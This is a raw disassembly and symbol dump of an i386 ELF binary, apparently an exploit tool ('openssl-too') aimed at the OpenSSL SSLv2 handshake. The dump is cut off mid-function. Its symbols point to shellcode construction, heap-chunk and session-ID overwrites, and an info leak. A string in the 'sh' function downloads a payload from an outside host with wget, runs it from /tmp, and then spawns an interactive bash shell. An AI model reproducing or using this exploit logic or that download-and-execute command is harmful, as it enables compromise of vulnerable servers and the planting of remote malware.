FILE REFERENCED openssl-too: file format elf32-i386 openssl-too architecture: i386, flags 0x00000112: EXEC_P, HAS_SYMS, D_PAGED start address 0x08048ee0 Program Header: PHDR off 0x00000034 vaddr 0x08048034 paddr 0x08048034 align 2**2 filesz 0x000000c0 memsz 0x000000c0 flags r-x INTERP off 0x000000f4 vaddr 0x080480f4 paddr 0x080480f4 align 2**0 filesz 0x00000013 memsz 0x00000013 flags r-- LOAD off 0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12 filesz 0x00004fe0 memsz 0x00004fe0 flags r-x LOAD off 0x00004fe0 vaddr 0x0804dfe0 paddr 0x0804dfe0 align 2**12 filesz 0x000004dc memsz 0x00000934 flags rw- DYNAMIC off 0x000053ec vaddr 0x0804e3ec paddr 0x0804e3ec align 2**2 filesz 0x000000d0 memsz 0x000000d0 flags rw- NOTE off 0x00000108 vaddr 0x08048108 paddr 0x08048108 align 2**2 filesz 0x00000020 memsz 0x00000020 flags r-- Dynamic Section: NEEDED libcrypto.so.2 NEEDED libc.so.6 INIT 0x8048b94 FINI 0x804b6f0 HASH 0x8048128 STRTAB 0x80486c4 SYMTAB 0x80482c4 STRSZ 0x251 SYMENT 0x10 DEBUG 0x0 PLTGOT 0x804e314 PLTRELSZ 0x190 PLTREL 0x11 JMPREL 0x8048a04 REL 0x80489dc RELSZ 0x28 RELENT 0x8 VERNEED 0x80489ac VERNEEDNUM 0x1 VERSYM 0x804892c Version References: required from libc.so.6: 0x09691f73 0x00 03 GLIBC_2.1.3 0x0d696910 0x00 02 GLIBC_2.0 Sections: Idx Name Size VMA LMA File off Algn 0 .interp 00000013 080480f4 080480f4 000000f4 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 1 .note.ABI-tag 00000020 08048108 08048108 00000108 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 2 .hash 0000019c 08048128 08048128 00000128 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 3 .dynsym 00000400 080482c4 080482c4 000002c4 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 4 .dynstr 00000267 080486c4 080486c4 000006c4 2**0 CONTENTS, ALLOC, LOAD, READONLY, DATA 5 .gnu.version 00000080 0804892c 0804892c 0000092c 2**1 CONTENTS, ALLOC, LOAD, READONLY, DATA 6 .gnu.version_r 00000030 080489ac 080489ac 000009ac 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 7 .rel.dyn 00000028 080489dc 080489dc 000009dc 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 8 .rel.plt 00000190 08048a04 08048a04 00000a04 2**2 CONTENTS, ALLOC, LOAD, READONLY, DATA 9 .init 00000018 08048b94 08048b94 00000b94 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 10 .plt 00000330 08048bac 08048bac 00000bac 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 11 .text 00002810 08048ee0 08048ee0 00000ee0 2**4 CONTENTS, ALLOC, LOAD, READONLY, CODE 12 .fini 0000001e 0804b6f0 0804b6f0 000036f0 2**2 CONTENTS, ALLOC, LOAD, READONLY, CODE 13 .rodata 000018c0 0804b720 0804b720 00003720 2**5 CONTENTS, ALLOC, LOAD, READONLY, DATA 14 .data 00000320 0804dfe0 0804dfe0 00004fe0 2**5 CONTENTS, ALLOC, LOAD, DATA 15 .eh_frame 00000004 0804e300 0804e300 00005300 2**2 CONTENTS, ALLOC, LOAD, DATA 16 .ctors 00000008 0804e304 0804e304 00005304 2**2 CONTENTS, ALLOC, LOAD, DATA 17 .dtors 00000008 0804e30c 0804e30c 0000530c 2**2 CONTENTS, ALLOC, LOAD, DATA 18 .got 000000d8 0804e314 0804e314 00005314 2**2 CONTENTS, ALLOC, LOAD, DATA 19 .dynamic 000000d0 0804e3ec 0804e3ec 000053ec 2**2 CONTENTS, ALLOC, LOAD, DATA 20 .sbss 00000000 0804e4bc 0804e4bc 000054c0 2**0 CONTENTS 21 .bss 00000454 0804e4c0 0804e4c0 000054c0 2**5 ALLOC 22 .stab 00006618 00000000 00000000 000054c0 2**2 CONTENTS, READONLY, DEBUGGING 23 .stabstr 0001030c 00000000 00000000 0000bad8 2**0 CONTENTS, READONLY, DEBUGGING 24 .comment 000001b0 00000000 00000000 0001bde4 2**0 CONTENTS, READONLY 25 .note 000000a0 00000000 00000000 0001bf94 2**0 CONTENTS, READONLY SYMBOL TABLE: 080480f4 l d .interp 00000000 08048108 l d .note.ABI-tag 00000000 08048128 l d .hash 00000000 080482c4 l d .dynsym 00000000 080486c4 l d .dynstr 00000000 0804892c l d .gnu.version 00000000 080489ac l d .gnu.version_r 00000000 080489dc l d .rel.dyn 00000000 08048a04 l d .rel.plt 00000000 08048b94 l d .init 00000000 08048bac l d .plt 00000000 08048ee0 l d .text 00000000 0804b6f0 l d .fini 00000000 0804b720 l d .rodata 00000000 0804dfe0 l d .data 00000000 0804e300 l d .eh_frame 00000000 0804e304 l d .ctors 00000000 0804e30c l d .dtors 00000000 0804e314 l d .got 00000000 0804e3ec l d .dynamic 00000000 0804e4bc l d .sbss 00000000 0804e4c0 l d .bss 00000000 00000000 l d .stab 00000000 00000000 l d .stabstr 00000000 00000000 l d .comment 00000000 00000000 l d .note 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l d *ABS* 00000000 00000000 l df *ABS* 00000000 initfini.c 08048f04 l .text 00000000 gcc2_compiled. 08048f04 l F .text 00000000 call_gmon_start 00000000 l df *ABS* 00000000 init.c 00000000 l df *ABS* 00000000 crtstuff.c 08048f30 l .text 00000000 gcc2_compiled. 0804dfe8 l O .data 00000000 p.0 0804e30c l O .dtors 00000000 __DTOR_LIST__ 0804dfec l O .data 00000000 completed.1 08048f30 l F .text 00000000 __do_global_dtors_aux 0804e300 l O .eh_frame 00000000 __EH_FRAME_BEGIN__ 08048f90 l F .text 00000000 fini_dummy 0804e4d0 l O .bss 00000018 object.2 08048fa0 l F .text 00000000 frame_dummy 08048fd0 l F .text 00000000 init_dummy 0804dff0 l O .data 00000000 force_to_data 0804e304 l O .ctors 00000000 __CTOR_LIST__ 00000000 l df *ABS* 00000000 crtstuff.c 0804b6b0 l .text 00000000 gcc2_compiled. 0804b6b0 l F .text 00000000 __do_global_ctors_aux 0804e308 l O .ctors 00000000 __CTOR_END__ 0804b6e0 l F .text 00000000 init_dummy 0804e300 l O .data 00000000 force_to_data 0804e310 l O .dtors 00000000 __DTOR_END__ 0804e300 l O .eh_frame 00000000 __FRAME_END__ 00000000 l df *ABS* 00000000 initfini.c 0804b6f0 l .text 00000000 gcc2_compiled. 00000000 l df *ABS* 00000000 main.c 00000000 l df *ABS* 00000000 ssl2.c 00000000 l df *ABS* 00000000 linux-x86.c 08048bbc F *UND* 00000051 usleep@@GLIBC_2.0 0804e500 g O .bss 000003fc conn 08048bcc F *UND* 00000007 ntohl@@GLIBC_2.0 0804aed4 g F .text 000000c6 generate_key_material 0804b530 g F .text 00000176 build_shellcode_linux_x86 0804e3ec g O *ABS* 00000000 _DYNAMIC 0804a074 g F .text 000000b4 ssl_connect_host 08048bdc w F *UND* 00000081 __register_frame_info@@GLIBC_2.0 0804a154 g F .text 000000d9 ssl_error 08048bec F *UND* 00000040 write@@GLIBC_2.0 08048bfc F *UND* 0000003e fileno@@GLIBC_2.0 080497d8 g F .text 000000fa usage 08048c0c F *UND* 0000003a close@@GLIBC_2.0 0804b720 g .rodata 00000004 _fp_hw 0804e100 g O .data 00000042 shellcode_stage1_linux_x86 08048fe0 g F .text 0000032b sh 08048c1c F *UND* 00000103 fflush@@GLIBC_2.0 08048c2c F *UND* 0000004c select@@GLIBC_2.0 0804e8fc g O .bss 00000004 max_conns 08048c3c F *UND* 00000031 strerror@@GLIBC_2.0 0804b3e4 g F .text 0000007a get_server_error 08048c4c F *UND* 0000014a RC4_set_key 0804a2bc g F .text 00000283 read_ssl_packet 08048c5c F *UND* 00000036 X509_get_pubkey 0804e900 g O .bss 00000004 conn_count 08048c6c F *UND* 00000018 __errno_location@@GLIBC_2.0 08049418 g F .text 000003bf send_shellcode 0804e1a0 g O .data 00000039 overwrite_session_id_length_linux_x86 08048c7c F *UND* 00000105 inet_ntoa@@GLIBC_2.0 08048b94 g F .init 00000000 _init 08048c8c F *UND* 00000270 malloc@@GLIBC_2.0 0804e1e0 g O .data 000000d1 overwrite_next_malloc_chunk_linux_x86 0804b1cc g F .text 00000080 send_client_finished 08048c9c F *UND* 00000100 memmove@@GLIBC_2.0 08048cac F *UND* 000003be RC4 08048cbc w F *UND* 000000ac __deregister_frame_info@@GLIBC_2.0 0804dff0 g O .data 00000108 systems 0804e4c0 g O .bss 00000004 stdout@@GLIBC_2.0 0804a818 g F .text 00000451 get_server_hello 08048ee0 g F .text 00000000 _start 08048ccc F *UND* 00000033 getopt@@GLIBC_2.0 08048cdc F *UND* 00000140 fgets@@GLIBC_2.0 08048cec F *UND* 00000038 MD5_Init 08048cfc F *UND* 0000000e ntohs@@GLIBC_2.0 0804af9c g F .text 000000bb generate_session_keys 08048d0c F *UND* 00000149 fputs@@GLIBC_2.0 08048d1c F *UND* 000000bb strlen@@GLIBC_2.0 08048d2c F *UND* 000001da sleep@@GLIBC_2.0 0804a230 g F .text 00000089 read_data 0804b24c g F .text 00000195 get_server_finished 08048d3c F *UND* 0000003e RSA_public_encrypt 08048d4c F *UND* 00000169 MD5_Final 0804a540 g F .text 00000204 send_ssl_packet 0804e2c0 g O .data 00000028 arch_linux_x86 0804b4c8 g F .text 00000067 get_ciphers_linux_x86 0804e904 g O .bss 00000010 ssl_conns 0804e160 g O .data 00000038 shellcode_stage2_linux_x86 08048d5c F *UND* 0000001e memcmp@@GLIBC_2.0 0804e4bc g O *ABS* 00000000 __bss_start 08049f38 g F .text 0000007f get_local_port 080498d4 g F .text 00000662 main 0804a744 g F .text 000000d2 send_client_hello 08048d6c F *UND* 000000ca __libc_start_main@@GLIBC_2.0 08048d7c F *UND* 000001aa strcat@@GLIBC_2.0 0804b058 g F .text 00000173 get_server_verify 0804dfe0 w .data 00000000 data_start 08048d8c F *UND* 00000032 printf@@GLIBC_2.0 0804b6f0 g F .fini 00000000 _fini 08048d9c F *UND* 00000071 memcpy@@GLIBC_2.0 08048dac F *UND* 0000003d getsockname@@GLIBC_2.0 08048dbc w F *UND* 0000009d __cxa_finalize@@GLIBC_2.1.3 08048dcc F *UND* 00000067 srand@@GLIBC_2.0 08048ddc F *UND* 000001b7 gethostbyname@@GLIBC_2.0 08048dec F *UND* 00000058 bzero@@GLIBC_2.0 0804930c g F .text 0000010b info_leak 08048dfc F *UND* 00000105 exit@@GLIBC_2.0 08048e0c F *UND* 0000002b atoi@@GLIBC_2.0 08048e1c F *UND* 0000002d sscanf@@GLIBC_2.0 0804e4bc g O *ABS* 00000000 _edata 0804e314 g O *ABS* 00000000 _GLOBAL_OFFSET_TABLE_ 08048e2c F *UND* 000000f4 free@@GLIBC_2.0 0804e914 g O *ABS* 00000000 _end 08048e3c F *UND* 0000003d send@@GLIBC_2.0 08048e4c F *UND* 0000000e htons@@GLIBC_2.0 08048e5c F *UND* 0000003d connect@@GLIBC_2.0 0804e4c4 g O .bss 00000004 stdin@@GLIBC_2.0 0804b460 g F .text 00000067 get_cipher_linux_x86 0804a128 g F .text 0000002b ssl_close 0804e4c8 g O .bss 00000004 optarg@@GLIBC_2.0 0804b724 g O .rodata 00000004 _IO_stdin_used 08049fb8 g F .text 000000bb connect_host 08048e6c F *UND* 0000002d sprintf@@GLIBC_2.0 0804ac6c g F .text 00000266 send_client_master_key 0804dfe0 g .data 00000000 __data_start 08048e7c F *UND* 0000003d socket@@GLIBC_2.0 08048e8c F *UND* 000001e7 d2i_X509 08048e9c F *UND* 0000001b rand@@GLIBC_2.0 0804e4cc g O .bss 00000004 optind@@GLIBC_2.0 08048eac F *UND* 00000355 MD5_Update 08048ebc F *UND* 00000040 read@@GLIBC_2.0 00000000 w *UND* 00000000 __gmon_start__ 08048ecc F *UND* 0000008b strcpy@@GLIBC_2.0 DYNAMIC SYMBOL TABLE: 08048bbc DF *UND* 00000051 GLIBC_2.0 usleep 08048bcc DF *UND* 00000007 GLIBC_2.0 ntohl 0804e3ec g DO *ABS* 00000000 Base _DYNAMIC 08048bdc w DF *UND* 00000081 GLIBC_2.0 __register_frame_info 08048bec DF *UND* 00000040 GLIBC_2.0 write 08048bfc DF *UND* 0000003e GLIBC_2.0 fileno 08048c0c DF *UND* 0000003a GLIBC_2.0 close 08048c1c DF *UND* 00000103 GLIBC_2.0 fflush 08048c2c DF *UND* 0000004c GLIBC_2.0 select 08048c3c DF *UND* 00000031 GLIBC_2.0 strerror 08048c4c DF *UND* 0000014a RC4_set_key 08048c5c DF *UND* 00000036 X509_get_pubkey 08048c6c DF *UND* 00000018 GLIBC_2.0 __errno_location 08048c7c DF *UND* 00000105 GLIBC_2.0 inet_ntoa 08048b94 g DF .init 00000000 Base _init 08048c8c DF *UND* 00000270 GLIBC_2.0 malloc 08048c9c DF *UND* 00000100 GLIBC_2.0 memmove 08048cac DF *UND* 000003be RC4 08048cbc w DF *UND* 000000ac GLIBC_2.0 __deregister_frame_info 0804e4c0 g DO .bss 00000004 GLIBC_2.0 stdout 08048ccc DF *UND* 00000033 GLIBC_2.0 getopt 08048cdc DF *UND* 00000140 GLIBC_2.0 fgets 08048cec DF *UND* 00000038 MD5_Init 08048cfc DF *UND* 0000000e GLIBC_2.0 ntohs 08048d0c DF *UND* 00000149 GLIBC_2.0 fputs 08048d1c DF *UND* 000000bb GLIBC_2.0 strlen 08048d2c DF *UND* 000001da GLIBC_2.0 sleep 08048d3c DF *UND* 0000003e RSA_public_encrypt 08048d4c DF *UND* 00000169 MD5_Final 08048d5c DF *UND* 0000001e GLIBC_2.0 memcmp 0804e4bc g DO *ABS* 00000000 Base __bss_start 08048d6c DF *UND* 000000ca GLIBC_2.0 __libc_start_main 08048d7c DF *UND* 000001aa GLIBC_2.0 strcat 08048d8c DF *UND* 00000032 GLIBC_2.0 printf 0804b6f0 g DF .fini 00000000 Base _fini 08048d9c DF *UND* 00000071 GLIBC_2.0 memcpy 08048dac DF *UND* 0000003d GLIBC_2.0 getsockname 08048dbc w DF *UND* 0000009d GLIBC_2.1.3 __cxa_finalize 08048dcc DF *UND* 00000067 GLIBC_2.0 srand 08048ddc DF *UND* 000001b7 GLIBC_2.0 gethostbyname 08048dec DF *UND* 00000058 GLIBC_2.0 bzero 08048dfc DF *UND* 00000105 GLIBC_2.0 exit 08048e0c DF *UND* 0000002b GLIBC_2.0 atoi 08048e1c DF *UND* 0000002d GLIBC_2.0 sscanf 0804e4bc g DO *ABS* 00000000 Base _edata 0804e314 g DO *ABS* 00000000 Base _GLOBAL_OFFSET_TABLE_ 08048e2c DF *UND* 000000f4 GLIBC_2.0 free 0804e914 g DO *ABS* 00000000 Base _end 08048e3c DF *UND* 0000003d GLIBC_2.0 send 08048e4c DF *UND* 0000000e GLIBC_2.0 htons 08048e5c DF *UND* 0000003d GLIBC_2.0 connect 0804e4c4 g DO .bss 00000004 GLIBC_2.0 stdin 0804e4c8 g DO .bss 00000004 GLIBC_2.0 optarg 0804b724 g DO .rodata 00000004 Base _IO_stdin_used 08048e6c DF *UND* 0000002d GLIBC_2.0 sprintf 08048e7c DF *UND* 0000003d GLIBC_2.0 socket 08048e8c DF *UND* 000001e7 d2i_X509 08048e9c DF *UND* 0000001b GLIBC_2.0 rand 0804e4cc g DO .bss 00000004 GLIBC_2.0 optind 08048eac DF *UND* 00000355 MD5_Update 08048ebc DF *UND* 00000040 GLIBC_2.0 read 00000000 w D *UND* 00000000 __gmon_start__ 08048ecc DF *UND* 0000008b GLIBC_2.0 strcpy Disassembly of section .init: 08048b94 <_init> push %ebp 08048b95 <_init+0x1> mov %esp,%ebp 08048b97 <_init+0x3> sub $0x8,%esp 08048b9a <_init+0x6> call 08048f04 08048b9f <_init+0xb> nop 08048ba0 <_init+0xc> call 08048fa0 08048ba5 <_init+0x11> call 0804b6b0 <__do_global_ctors_aux> 08048baa <_init+0x16> leave 08048bab <_init+0x17> ret Disassembly of section .plt: 08048bac <.plt> pushl 0x804e318 08048bb2 <.plt+0x6> jmp *0x804e31c 08048bb8 <.plt+0xc> add %al,(%eax) 08048bba <.plt+0xe> add %al,(%eax) 08048bbc <.plt+0x10> jmp *0x804e320 08048bc2 <.plt+0x16> push $0x0 08048bc7 <.plt+0x1b> jmp 08048bac <_init+0x18> 08048bcc <.plt+0x20> jmp *0x804e324 08048bd2 <.plt+0x26> push $0x8 08048bd7 <.plt+0x2b> jmp 08048bac <_init+0x18> 08048bdc <.plt+0x30> jmp *0x804e328 08048be2 <.plt+0x36> push $0x10 08048be7 <.plt+0x3b> jmp 08048bac <_init+0x18> 08048bec <.plt+0x40> jmp *0x804e32c 08048bf2 <.plt+0x46> push $0x18 08048bf7 <.plt+0x4b> jmp 08048bac <_init+0x18> 08048bfc <.plt+0x50> jmp *0x804e330 08048c02 <.plt+0x56> push $0x20 08048c07 <.plt+0x5b> jmp 08048bac <_init+0x18> 08048c0c <.plt+0x60> jmp *0x804e334 08048c12 <.plt+0x66> push $0x28 08048c17 <.plt+0x6b> jmp 08048bac <_init+0x18> 08048c1c <.plt+0x70> jmp *0x804e338 08048c22 <.plt+0x76> push $0x30 08048c27 <.plt+0x7b> jmp 08048bac <_init+0x18> 08048c2c <.plt+0x80> jmp *0x804e33c 08048c32 <.plt+0x86> push $0x38 08048c37 <.plt+0x8b> jmp 08048bac <_init+0x18> 08048c3c <.plt+0x90> jmp *0x804e340 08048c42 <.plt+0x96> push $0x40 08048c47 <.plt+0x9b> jmp 08048bac <_init+0x18> 08048c4c <.plt+0xa0> jmp *0x804e344 08048c52 <.plt+0xa6> push $0x48 08048c57 <.plt+0xab> jmp 08048bac <_init+0x18> 08048c5c <.plt+0xb0> jmp *0x804e348 08048c62 <.plt+0xb6> push $0x50 08048c67 <.plt+0xbb> jmp 08048bac <_init+0x18> 08048c6c <.plt+0xc0> jmp *0x804e34c 08048c72 <.plt+0xc6> push $0x58 08048c77 <.plt+0xcb> jmp 08048bac <_init+0x18> 08048c7c <.plt+0xd0> jmp *0x804e350 08048c82 <.plt+0xd6> push $0x60 08048c87 <.plt+0xdb> jmp 08048bac <_init+0x18> 08048c8c <.plt+0xe0> jmp *0x804e354 08048c92 <.plt+0xe6> push $0x68 08048c97 <.plt+0xeb> jmp 08048bac <_init+0x18> 08048c9c <.plt+0xf0> jmp *0x804e358 08048ca2 <.plt+0xf6> push $0x70 08048ca7 <.plt+0xfb> jmp 08048bac <_init+0x18> 08048cac <.plt+0x100> jmp *0x804e35c 08048cb2 <.plt+0x106> push $0x78 08048cb7 <.plt+0x10b> jmp 08048bac <_init+0x18> 08048cbc <.plt+0x110> jmp *0x804e360 08048cc2 <.plt+0x116> push $0x80 08048cc7 <.plt+0x11b> jmp 08048bac <_init+0x18> 08048ccc <.plt+0x120> jmp *0x804e364 08048cd2 <.plt+0x126> push $0x88 08048cd7 <.plt+0x12b> jmp 08048bac <_init+0x18> 08048cdc <.plt+0x130> jmp *0x804e368 08048ce2 <.plt+0x136> push $0x90 08048ce7 <.plt+0x13b> jmp 08048bac <_init+0x18> 08048cec <.plt+0x140> jmp *0x804e36c 08048cf2 <.plt+0x146> push $0x98 08048cf7 <.plt+0x14b> jmp 08048bac <_init+0x18> 08048cfc <.plt+0x150> jmp *0x804e370 08048d02 <.plt+0x156> push $0xa0 08048d07 <.plt+0x15b> jmp 08048bac <_init+0x18> 08048d0c <.plt+0x160> jmp *0x804e374 08048d12 <.plt+0x166> push $0xa8 08048d17 <.plt+0x16b> jmp 08048bac <_init+0x18> 08048d1c <.plt+0x170> jmp *0x804e378 08048d22 <.plt+0x176> push $0xb0 08048d27 <.plt+0x17b> jmp 08048bac <_init+0x18> 08048d2c <.plt+0x180> jmp *0x804e37c 08048d32 <.plt+0x186> push $0xb8 08048d37 <.plt+0x18b> jmp 08048bac <_init+0x18> 08048d3c <.plt+0x190> jmp *0x804e380 08048d42 <.plt+0x196> push $0xc0 08048d47 <.plt+0x19b> jmp 08048bac <_init+0x18> 08048d4c <.plt+0x1a0> jmp *0x804e384 08048d52 <.plt+0x1a6> push $0xc8 08048d57 <.plt+0x1ab> jmp 08048bac <_init+0x18> 08048d5c <.plt+0x1b0> jmp *0x804e388 08048d62 <.plt+0x1b6> push $0xd0 08048d67 <.plt+0x1bb> jmp 08048bac <_init+0x18> 08048d6c <.plt+0x1c0> jmp *0x804e38c 08048d72 <.plt+0x1c6> push $0xd8 08048d77 <.plt+0x1cb> jmp 08048bac <_init+0x18> 08048d7c <.plt+0x1d0> jmp *0x804e390 08048d82 <.plt+0x1d6> push $0xe0 08048d87 <.plt+0x1db> jmp 08048bac <_init+0x18> 08048d8c <.plt+0x1e0> jmp *0x804e394 08048d92 <.plt+0x1e6> push $0xe8 08048d97 <.plt+0x1eb> jmp 08048bac <_init+0x18> 08048d9c <.plt+0x1f0> jmp *0x804e398 08048da2 <.plt+0x1f6> push $0xf0 08048da7 <.plt+0x1fb> jmp 08048bac <_init+0x18> 08048dac <.plt+0x200> jmp *0x804e39c 08048db2 <.plt+0x206> push $0xf8 08048db7 <.plt+0x20b> jmp 08048bac <_init+0x18> 08048dbc <.plt+0x210> jmp *0x804e3a0 08048dc2 <.plt+0x216> push $0x100 08048dc7 <.plt+0x21b> jmp 08048bac <_init+0x18> 08048dcc <.plt+0x220> jmp *0x804e3a4 08048dd2 <.plt+0x226> push $0x108 08048dd7 <.plt+0x22b> jmp 08048bac <_init+0x18> 08048ddc <.plt+0x230> jmp *0x804e3a8 08048de2 <.plt+0x236> push $0x110 08048de7 <.plt+0x23b> jmp 08048bac <_init+0x18> 08048dec <.plt+0x240> jmp *0x804e3ac 08048df2 <.plt+0x246> push $0x118 08048df7 <.plt+0x24b> jmp 08048bac <_init+0x18> 08048dfc <.plt+0x250> jmp *0x804e3b0 08048e02 <.plt+0x256> push $0x120 08048e07 <.plt+0x25b> jmp 08048bac <_init+0x18> 08048e0c <.plt+0x260> jmp *0x804e3b4 08048e12 <.plt+0x266> push $0x128 08048e17 <.plt+0x26b> jmp 08048bac <_init+0x18> 08048e1c <.plt+0x270> jmp *0x804e3b8 08048e22 <.plt+0x276> push $0x130 08048e27 <.plt+0x27b> jmp 08048bac <_init+0x18> 08048e2c <.plt+0x280> jmp *0x804e3bc 08048e32 <.plt+0x286> push $0x138 08048e37 <.plt+0x28b> jmp 08048bac <_init+0x18> 08048e3c <.plt+0x290> jmp *0x804e3c0 08048e42 <.plt+0x296> push $0x140 08048e47 <.plt+0x29b> jmp 08048bac <_init+0x18> 08048e4c <.plt+0x2a0> jmp *0x804e3c4 08048e52 <.plt+0x2a6> push $0x148 08048e57 <.plt+0x2ab> jmp 08048bac <_init+0x18> 08048e5c <.plt+0x2b0> jmp *0x804e3c8 08048e62 <.plt+0x2b6> push $0x150 08048e67 <.plt+0x2bb> jmp 08048bac <_init+0x18> 08048e6c <.plt+0x2c0> jmp *0x804e3cc 08048e72 <.plt+0x2c6> push $0x158 08048e77 <.plt+0x2cb> jmp 08048bac <_init+0x18> 08048e7c <.plt+0x2d0> jmp *0x804e3d0 08048e82 <.plt+0x2d6> push $0x160 08048e87 <.plt+0x2db> jmp 08048bac <_init+0x18> 08048e8c <.plt+0x2e0> jmp *0x804e3d4 08048e92 <.plt+0x2e6> push $0x168 08048e97 <.plt+0x2eb> jmp 08048bac <_init+0x18> 08048e9c <.plt+0x2f0> jmp *0x804e3d8 08048ea2 <.plt+0x2f6> push $0x170 08048ea7 <.plt+0x2fb> jmp 08048bac <_init+0x18> 08048eac <.plt+0x300> jmp *0x804e3dc 08048eb2 <.plt+0x306> push $0x178 08048eb7 <.plt+0x30b> jmp 08048bac <_init+0x18> 08048ebc <.plt+0x310> jmp *0x804e3e0 08048ec2 <.plt+0x316> push $0x180 08048ec7 <.plt+0x31b> jmp 08048bac <_init+0x18> 08048ecc <.plt+0x320> jmp *0x804e3e4 08048ed2 <.plt+0x326> push $0x188 08048ed7 <.plt+0x32b> jmp 08048bac <_init+0x18> Disassembly of section .text: ---- Function : _start ---- 08048ee0 <_start> xor %ebp,%ebp 08048ee2 <_start+0x2> pop %esi 08048ee3 <_start+0x3> mov %esp,%ecx 08048ee5 <_start+0x5> and $0xfffffff0,%esp 08048ee8 <_start+0x8> push %eax 08048ee9 <_start+0x9> push %esp 08048eea <_start+0xa> push %edx 08048eeb <_start+0xb> push $0x804b6f0 08048ef0 <_start+0x10> push $0x8048b94 08048ef5 <_start+0x15> push %ecx 08048ef6 <_start+0x16> push %esi 08048ef7 <_start+0x17> push $0x80498d4 08048efc <_start+0x1c> call 08048d6c <_init+0x1d8> 08048f01 <_start+0x21> hlt 08048f02 <_start+0x22> mov %esi,%esi ---- Function : call_gmon_start ---- 08048f04 push %ebp 08048f05 mov %esp,%ebp 08048f07 push %ebx 08048f08 push %eax 08048f09 call 08048f0e Referenced from call at 08048f09 ; 08048f0e pop %ebx 08048f0f add $0x5406,%ebx 08048f15 mov 0xd4(%ebx),%eax 08048f1b test %eax,%eax 08048f1d je 08048f21 08048f1f call *%eax Referenced from jump at 08048f1d ; 08048f21 mov 0xfffffffc(%ebp),%ebx 08048f24 leave 08048f25 ret 08048f26 mov %esi,%esi 08048f28 nop 08048f29 nop 08048f2a nop 08048f2b nop 08048f2c nop 08048f2d nop 08048f2e nop 08048f2f nop ---- Function : __do_global_dtors_aux ---- Referenced from call at 0804b704 ; 08048f30 <__do_global_dtors_aux> push %ebp 08048f31 <__do_global_dtors_aux+0x1> mov %esp,%ebp 08048f33 <__do_global_dtors_aux+0x3> sub $0x8,%esp 08048f36 <__do_global_dtors_aux+0x6> mov 0x804dfec,%edx 08048f3c <__do_global_dtors_aux+0xc> test %edx,%edx 08048f3e <__do_global_dtors_aux+0xe> jne 08048f89 <__do_global_dtors_aux+0x59> 08048f40 <__do_global_dtors_aux+0x10> mov 0x804dfe8,%edx 08048f46 <__do_global_dtors_aux+0x16> mov (%edx),%eax 08048f48 <__do_global_dtors_aux+0x18> test %eax,%eax 08048f4a <__do_global_dtors_aux+0x1a> je 08048f66 <__do_global_dtors_aux+0x36> 08048f4c <__do_global_dtors_aux+0x1c> lea 0x0(%esi,1),%esi Referenced from jump at 08048f64 ; 08048f50 <__do_global_dtors_aux+0x20> lea 0x4(%edx),%eax 08048f53 <__do_global_dtors_aux+0x23> mov %eax,0x804dfe8 08048f58 <__do_global_dtors_aux+0x28> call *(%edx) 08048f5a <__do_global_dtors_aux+0x2a> mov 0x804dfe8,%edx 08048f60 <__do_global_dtors_aux+0x30> mov (%edx),%ecx 08048f62 <__do_global_dtors_aux+0x32> test %ecx,%ecx 08048f64 <__do_global_dtors_aux+0x34> jne 08048f50 <__do_global_dtors_aux+0x20> Referenced from jump at 08048f4a ; 08048f66 <__do_global_dtors_aux+0x36> mov $0x8048cbc,%eax 08048f6b <__do_global_dtors_aux+0x3b> test %eax,%eax 08048f6d <__do_global_dtors_aux+0x3d> je 08048f7f <__do_global_dtors_aux+0x4f> 08048f6f <__do_global_dtors_aux+0x3f> sub $0xc,%esp 08048f72 <__do_global_dtors_aux+0x42> push $0x804e300 08048f77 <__do_global_dtors_aux+0x47> call 08048cbc <_init+0x128> 08048f7c <__do_global_dtors_aux+0x4c> add $0x10,%esp Referenced from jump at 08048f6d ; 08048f7f <__do_global_dtors_aux+0x4f> mov $0x1,%eax 08048f84 <__do_global_dtors_aux+0x54> mov %eax,0x804dfec Referenced from jump at 08048f3e ; 08048f89 <__do_global_dtors_aux+0x59> mov %ebp,%esp 08048f8b <__do_global_dtors_aux+0x5b> pop %ebp 08048f8c <__do_global_dtors_aux+0x5c> ret 08048f8d <__do_global_dtors_aux+0x5d> lea 0x0(%esi),%esi ---- Function : fini_dummy ---- 08048f90 push %ebp 08048f91 mov %esp,%ebp 08048f93 sub $0x8,%esp 08048f96 mov %ebp,%esp 08048f98 pop %ebp 08048f99 ret 08048f9a lea 0x0(%esi),%esi ---- Function : frame_dummy ---- 08048fa0 push %ebp 08048fa1 mov $0x8048bdc,%eax 08048fa6 mov %esp,%ebp 08048fa8 sub $0x8,%esp 08048fab test %eax,%eax 08048fad je 08048fc4 08048faf sub $0x8,%esp 08048fb2 push $0x804e4d0 08048fb7 push $0x804e300 08048fbc call 08048bdc <_init+0x48> 08048fc1 add $0x10,%esp Referenced from jump at 08048fad ; 08048fc4 mov %ebp,%esp 08048fc6 pop %ebp 08048fc7 ret 08048fc8 nop 08048fc9 lea 0x0(%esi,1),%esi ---- Function : init_dummy ---- 08048fd0 push %ebp 08048fd1 mov %esp,%ebp 08048fd3 sub $0x8,%esp 08048fd6 mov %ebp,%esp 08048fd8 pop %ebp 08048fd9 ret 08048fda lea 0x0(%esi),%esi ---- Function : sh ---- Referenced from call at 080497c6 ; 08048fe0 push %ebp 08048fe1 mov %esp,%ebp 08048fe3 push %esi 08048fe4 push %ebx 08048fe5 sub $0x890,%esp 08048feb movl $0x0,0xfffff76c(%ebp) 08048ff5 sub $0x8,%esp Possible reference to string: "TERM=xterm; cd /tmp/; wget -dbc silviu.250free.com/x/qd >>/dev/null; sleep 8; rm -rf wget*; chmod +x qd; ./qd >>/dev/null; rm -rf /tmp/qd; export TERM=xterm; exec bash -i" 08048ff8 push $0x804bbe0 08048ffd lea 0xfffffbf8(%ebp),%eax 08049003 push %eax 08049004 call 08048ecc <_init+0x338> 08049009 add $0x10,%esp 0804900c sub $0x4,%esp 0804900f lea 0xfffffbf8(%ebp),%eax 08049015 sub $0x8,%esp 08049018 push %eax 08049019 call 08048d1c <_init+0x188> 0804901e add $0xc,%esp 08049021 mov %eax,%eax 08049023 